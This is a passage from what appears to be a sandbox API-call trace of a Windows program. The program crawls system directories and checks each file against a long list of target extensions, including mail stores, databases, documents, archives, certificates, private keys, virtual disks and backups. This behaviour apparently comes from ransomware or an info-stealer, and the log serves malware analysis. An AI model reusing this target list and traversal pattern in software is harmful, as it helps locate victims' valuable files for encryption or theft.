(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.eml") returned 0 [0109.439] lstrlenA (lpString="*.eml") returned 5 [0109.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.pst") returned 0 [0109.439] lstrlenA (lpString="*.pst") returned 5 [0109.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.ost") returned 0 [0109.439] lstrlenA (lpString="*.ost") returned 5 [0109.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.idx") returned 0 [0109.439] lstrlenA (lpString="*.idx") returned 5 [0109.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.dbx") returned 0 [0109.440] lstrlenA (lpString="*.dbx") returned 5 [0109.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.sql") returned 0 [0109.440] lstrlenA (lpString="*.sql") returned 5 [0109.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.mdb") returned 0 [0109.440] lstrlenA (lpString="*.mdb") returned 5 [0109.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.fdb") returned 0 [0109.440] lstrlenA (lpString="*.fdb") returned 5 [0109.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.wab") returned 0 [0109.440] lstrlenA (lpString="*.wab") returned 5 [0109.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.dat") returned 0 [0109.440] lstrlenA (lpString="*.dat") returned 5 [0109.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.txt") returned 0 [0109.440] lstrlenA (lpString="*.txt") returned 5 [0109.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.jpeg") returned 0 [0109.440] lstrlenA (lpString="*.jpeg") returned 6 [0109.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.jpg") returned 0 [0109.440] lstrlenA (lpString="*.jpg") returned 5 [0109.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.png") returned 0 [0109.440] lstrlenA (lpString="*.png") returned 5 [0109.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.php") returned 0 [0109.441] lstrlenA (lpString="*.php") returned 5 [0109.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.cs") returned 0 [0109.441] lstrlenA (lpString="*.cs") returned 4 [0109.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.cpp") returned 0 [0109.441] lstrlenA (lpString="*.cpp") returned 5 [0109.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.rar") returned 0 [0109.441] lstrlenA (lpString="*.rar") returned 5 [0109.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.zip") returned 0 [0109.441] lstrlenA (lpString="*.zip") returned 5 [0109.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.html") returned 0 [0109.441] lstrlenA (lpString="*.html") returned 6 [0109.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.htm") returned 0 [0109.441] lstrlenA (lpString="*.htm") returned 5 [0109.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.xlsx") returned 0 [0109.441] lstrlenA (lpString="*.xlsx") returned 6 [0109.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.xls") returned 0 [0109.441] lstrlenA (lpString="*.xls") returned 5 [0109.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.mp4") returned 0 [0109.442] lstrlenA (lpString="*.mp4") returned 5 [0109.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.ppt") returned 0 [0109.442] lstrlenA (lpString="*.ppt") returned 5 [0109.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.pptx") returned 0 [0109.442] lstrlenA (lpString="*.pptx") returned 6 [0109.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.doc") returned 0 [0109.442] lstrlenA (lpString="*.doc") returned 5 [0109.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.dot") returned 0 [0109.442] lstrlenA (lpString="*.dot") returned 5 [0109.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.docx") returned 0 [0109.442] lstrlenA (lpString="*.docx") returned 6 [0109.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.7z") returned 0 [0109.442] lstrlenA (lpString="*.7z") returned 4 [0109.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.tar") returned 0 [0109.442] lstrlenA (lpString="*.tar") returned 5 [0109.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.bz2") returned 0 [0109.442] lstrlenA (lpString="*.bz2") returned 5 [0109.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.gz") returned 0 [0109.442] lstrlenA (lpString="*.gz") returned 4 [0109.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.mkv") returned 0 [0109.442] lstrlenA (lpString="*.mkv") returned 5 [0109.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.eml") returned 0 [0109.443] lstrlenA (lpString="*.eml") returned 5 [0109.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.msg") returned 0 [0109.443] lstrlenA (lpString="*.msg") returned 5 [0109.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.edb") returned 0 [0109.443] lstrlenA (lpString="*.edb") returned 5 [0109.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.accdb") returned 0 [0109.443] lstrlenA (lpString="*.accdb") returned 7 [0109.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.odb") returned 0 [0109.443] lstrlenA (lpString="*.odb") returned 5 [0109.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.java") returned 0 [0109.443] lstrlenA (lpString="*.java") returned 6 [0109.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.asm") returned 0 [0109.443] lstrlenA (lpString="*.asm") returned 5 [0109.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.pfx") returned 0 [0109.443] lstrlenA (lpString="*.pfx") returned 5 [0109.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.pem") returned 0 [0109.443] lstrlenA (lpString="*.pem") returned 5 [0109.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.p12") returned 0 [0109.443] lstrlenA (lpString="*.p12") returned 5 [0109.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.gpg") returned 0 [0109.444] lstrlenA (lpString="*.gpg") returned 5 [0109.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.vsd") returned 0 [0109.444] lstrlenA (lpString="*.vsd") returned 5 [0109.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.odg") returned 0 [0109.444] lstrlenA (lpString="*.odg") returned 5 [0109.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.raw") returned 0 [0109.444] lstrlenA (lpString="*.raw") returned 5 [0109.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.nef") returned 0 [0109.444] lstrlenA (lpString="*.nef") returned 5 [0109.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.svg") returned 0 [0109.444] lstrlenA (lpString="*.svg") returned 5 [0109.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.psd") returned 0 [0109.444] lstrlenA (lpString="*.psd") returned 5 [0109.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.vmx") returned 0 [0109.444] lstrlenA (lpString="*.vmx") returned 5 [0109.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.vmdk") returned 0 [0109.444] lstrlenA (lpString="*.vmdk") returned 6 [0109.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.vdi") returned 0 [0109.444] lstrlenA (lpString="*.vdi") returned 5 [0109.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.lay6") returned 0 [0109.445] lstrlenA (lpString="*.lay6") returned 6 [0109.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.mpeg") returned 0 [0109.445] lstrlenA (lpString="*.mpeg") returned 6 [0109.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.djvu") returned 0 [0109.445] lstrlenA (lpString="*.djvu") returned 6 [0109.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.tiff") returned 0 [0109.445] lstrlenA (lpString="*.tiff") returned 6 [0109.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.backup") returned 0 [0109.445] lstrlenA (lpString="*.backup") returned 8 [0109.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.pdf") returned 0 [0109.445] lstrlenA (lpString="*.pdf") returned 5 [0109.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.cert") returned 0 [0109.445] lstrlenA (lpString="*.cert") returned 6 [0109.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.docm") returned 0 [0109.445] lstrlenA (lpString="*.docm") returned 6 [0109.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.xlsm") returned 0 [0109.445] lstrlenA (lpString="*.xlsm") returned 6 [0109.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.dwg") returned 0 [0109.446] lstrlenA (lpString="*.dwg") returned 5 [0109.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.nd") returned 0 [0109.446] lstrlenA (lpString="*.nd") returned 4 [0109.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.tlg") returned 0 [0109.446] lstrlenA (lpString="*.tlg") returned 5 [0109.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.lgb") returned 0 [0109.446] lstrlenA (lpString="*.lgb") returned 5 [0109.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.mov") returned 0 [0109.446] lstrlenA (lpString="*.mov") returned 5 [0109.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.xdw") returned 0 [0109.446] lstrlenA (lpString="*.xdw") returned 5 [0109.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.ods") returned 0 [0109.446] lstrlenA (lpString="*.ods") returned 5 [0109.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.wav") returned 0 [0109.446] lstrlenA (lpString="*.wav") returned 5 [0109.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.mp3") returned 0 [0109.470] lstrlenA (lpString="*.mp3") returned 5 [0109.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.aiff") returned 0 [0109.470] lstrlenA (lpString="*.aiff") returned 6 [0109.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.flac") returned 0 [0109.470] lstrlenA (lpString="*.flac") returned 6 [0109.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.m4a") returned 0 [0109.470] lstrlenA (lpString="*.m4a") returned 5 [0109.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\9d5e83b9d71682d12ac040f8f933b44a\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", pszSpec="*.csv") returned 0 [0109.470] lstrlenA (lpString="*.csv") returned 5 [0109.470] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310e2cb4, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x310e2cb4, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xec4f1d88, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x4de00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0109.470] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0109.471] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6b8ee50, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6b8ee50, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0xd6b8ee50, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="9d5e83b9d71682d12ac040f8f933b44a", cAlternateFileName="9D5E83~1")) returned 0 [0109.471] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0109.471] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7e8d5aa, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd060a81, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd060a81, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74656c64, dwReserved1=0x696e2e73, cFileName="Microsoft.Transacti#", cAlternateFileName="MICROS~1.TRA")) returned 1 [0109.471] lstrcmpA (lpString1=".", lpString2="Microsoft.Transacti#") returned -1 [0109.471] lstrcmpA (lpString1="..", lpString2="Microsoft.Transacti#") returned -1 [0109.471] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0109.471] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.Transacti#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#" [0109.471] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#") returned 67 [0109.471] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7e8d5aa, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd060a81, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd060a81, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0109.472] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.472] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7e8d5aa, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd060a81, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd060a81, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, 